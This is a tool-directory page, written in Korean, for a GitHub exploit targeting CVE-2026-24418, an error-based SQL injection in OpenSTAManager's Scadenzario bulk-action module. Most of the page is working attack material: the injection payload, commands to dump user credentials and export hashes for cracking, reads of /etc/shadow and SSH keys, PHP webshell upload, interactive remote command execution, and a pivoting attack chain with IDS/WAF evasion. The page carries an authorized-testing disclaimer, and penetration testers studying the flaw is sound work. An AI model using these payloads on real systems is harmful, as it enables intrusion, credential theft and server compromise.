Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 및 이전 버전은 Scadenzario(지불 일정) 모듈의 일괄 작업 처리기에 중요한 오류 기반 SQL 인젝션 취약점을 포함합니다. | Kitploit
도구/GitHubGitHub/bridgeralderson/cve-2026-24418
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingDatabase Security
GitHubbridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 및 이전 버전은 Scadenzario(지불 일정) 모듈의 일괄 작업 처리기에 중요한 오류 기반 SQL 인젝션 취약점을 포함합니다.

저장소 보기
222개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Scadenzario 일괄 작업 모듈의 오류 기반 SQL 인젝션

개요

필드세부정보
CVE IDCVE-2026-24418
심각도HIGH (8.8)
CWECWE-89: SQL Injection
영향받는 버전OpenSTAManager <= 2.9.8
취약한 매개변수id_records[] (POST array)
취약한 엔드포인트/actions.php?id_module=18
공격 유형Error-Based SQL Injection (EXTRACTVALUE)
인증Required (any valid user account)

취약점 세부사항

OpenSTAManager v2.9.8 및 이전 버전은 Scadenzario(지불 일정) 모듈의 일괄 작업 처리기에 치명적인 오류 기반 SQL 인젝션 취약점을 포함하고 있습니다. 이 애플리케이션은 id_records[] 배열의 요소가 정수인지 검증하지 않고 SQL IN() 절에 사용하므로, 인증된 공격자가 임의의 SQL 명령을 주입하고 XPATH 오류 메시지를 통해 민감한 데이터를 추출할 수 있습니다.

근본 원인

  1. 진입점 — /actions.php는 POST를 통해 id_records[]를 수신합니다.
  2. 불충분한 살균 처리 — array_clean()은 빈 값만 제거하고, 데이터 타입은 검증하지 않습니다.
  3. 주입 지점 — /modules/scadenzario/bulk.php는 살균되지 않은 값을 SQL IN() 절에 직접 전달합니다.
  4. 데이터 유출 — EXTRACTVALUE/UPDATEXML 오류 메시지가 쿼리 결과를 노출합니다.

기능

설치

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

사용법

인증

root@kitploit:~
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

정찰

root@kitploit:~
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

자격 증명 추출

root@kitploit:~
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

데이터베이스 열거

root@kitploit:~
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

파일 읽기 (SQL을 통한 LFI)

root@kitploit:~
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

원격 코드 실행

root@kitploit:~
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

출력 및 보고

root@kitploit:~
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

네트워크 옵션

root@kitploit:~
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

전체 옵션 참조

root@kitploit:~
대상:
  -t, --target           대상 베이스 URL

인증:
  -u, --user             로그인 사용자명
  -p, --password         로그인 비밀번호
  -c, --cookie           기존 PHPSESSID 값

열거:
  -D, --database         대상 데이터베이스 이름
  -T, --table            대상 테이블 이름
  -C, --columns-list     덤프할 열 목록 (쉼표로 구분)
  --limit                덤프의 행 제한

작업:
  --info                 데이터베이스 서버 정보
  --users                zz_users 자격 증명 덤프
  --dbs                  데이터베이스 열거
  --tables               테이블 목록
  --columns              열 목록 (-T 필요)
  --dump                 데이터 덤프 (-T 및 -C 필요)
  --sql QUERY            사용자 정의 SQL 쿼리
  --all                  --info + --privs + --users 실행
  --privs                MySQL 권한 확인

파일 작업:
  --file-read PATH       LOAD_FILE()을 통해 파일 읽기
  --file-read-hex PATH   HEX 인코딩을 통해 파일 읽기

원격 코드 실행:
  --webshell             PHP 웹쉘 업로드
  --webroot PATH         쉘 업로드를 위한 웹루트 경로
  --rce                  대화형 명령 실행

출력:
  -o, --output DIR       결과를 디렉토리에 저장

네트워크:
  -m, --module-id        모듈 ID (기본값: 18)
  --proxy                HTTP 프록시 URL
  -k, --no-ssl-verify    SSL 검증 비활성화
  --delay                요청 지연 (초)

기술적 세부사항

Payload Structure

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUE 문자 제한

MySQL의 EXTRACTVALUE()는 XPATH 오류를 통해 최대 ~32자를 반환합니다. 이 도구는 SUBSTRING()을 사용하여 긴 결과를 자동으로 청크합니다:

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

웹쉘 업로드 메커니즘

오류 기반 컨텍스트에 대한 기술적 참고: --webshell 및 --rce는 최대 범위를 위해 포함되어 있지만, MySQL은 INTO DUMPFILE을 서브쿼리 또는 IN() 절 내에서 사용하는 것을 엄격히 금지합니다 (이 CVE의 주입 지점이 바로 그 위치입니다).

따라서 이 특정 오류 기반 인젝션을 통해 직접 파일을 작성하는 것은 다음 경우가 아니면 일반적으로 구문 오류와 함께 실패합니다:

  1. 대상 환경이 Stacked Queries를 허용하는 경우 (현대 PHP/PDO 설정에서는 매우 드묾).
  2. 페이로드를 UNION 기반 인젝션으로 전환할 수 있는 경우.

--privs를 통해 FILE 권한을 확인했다면, --file-read 및 --file-read-hex를 사용하는 것이 가장 좋습니다. LOAD_FILE()은 오류 기반 서브쿼리 내에서 완벽하게 작동하기 때문입니다.

When FILE privilege is available and constraints allow:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

취약한 코드 경로

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── receives id_records[]
        └── array_clean() ─── only removes empty values
            └── bulk.php (L88) ─── builds SQL IN() clause
                └── Database.php (L289) ─── executes unsanitized query
                    └── XPATH error leaks data

공격 체인 예시

  1. --privs → FILE 권한 확인
  2. --users → 자격 증명 덤프, 해시 내보내기
  3. --file-read → config.inc.php 읽기 (DB 자격 증명)
  4. --file-read → /etc/passwd 읽기 (사용자 이름)
  5. --webshell → PHP 웹쉘 업로드
  6. --rce → 대화형 쉘 → 피벗

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오. 저자는 오용에 대한 책임을 지지 않습니다.

참고 자료

  • CVE-2026-24418 (NVD)
  • GitHub 보안 권고 — GHSA-4xwv-49c8-fvhq
  • OpenSTAManager Repository
  • Lukasz Rybak의 PoC
도구 다운로드
기능설명
--info데이터베이스 서버 지문 수집 (버전, 사용자, 호스트명, OS, 경로)
--privsMySQL 권한 열거 (FILE, SUPER, PROCESS)
--userszz_users 테이블에서 전체 자격 증명 덤프 및 자동 해시 내보내기
--dbs접근 가능한 모든 데이터베이스 열거
--tables테이블 목록 및 행 개수 표시
--columns열 목록 및 타입, NULL 가능 여부 표시
--dump모든 테이블/열에서 데이터 추출
--sql사용자 정의 SQL 쿼리 실행
--file-readLOAD_FILE()을 사용하여 서버 파일 읽기 (/etc/passwd, 설정 파일, SSH 키)
--file-read-hexHEX 인코딩 파일 읽기를 통해 필터 우회
--webshellINTO DUMPFILE을 통해 PHP 웹쉘 업로드
--rce업로드된 웹쉘을 통한 대화형 명령 실행
-o / --output모든 결과를 JSON, CSV, hashcat/john 형식으로 저장
--proxyHTTP 프록시 지원 (Burp Suite)
--delay요청 지연을 통해 IDS/WAF 우회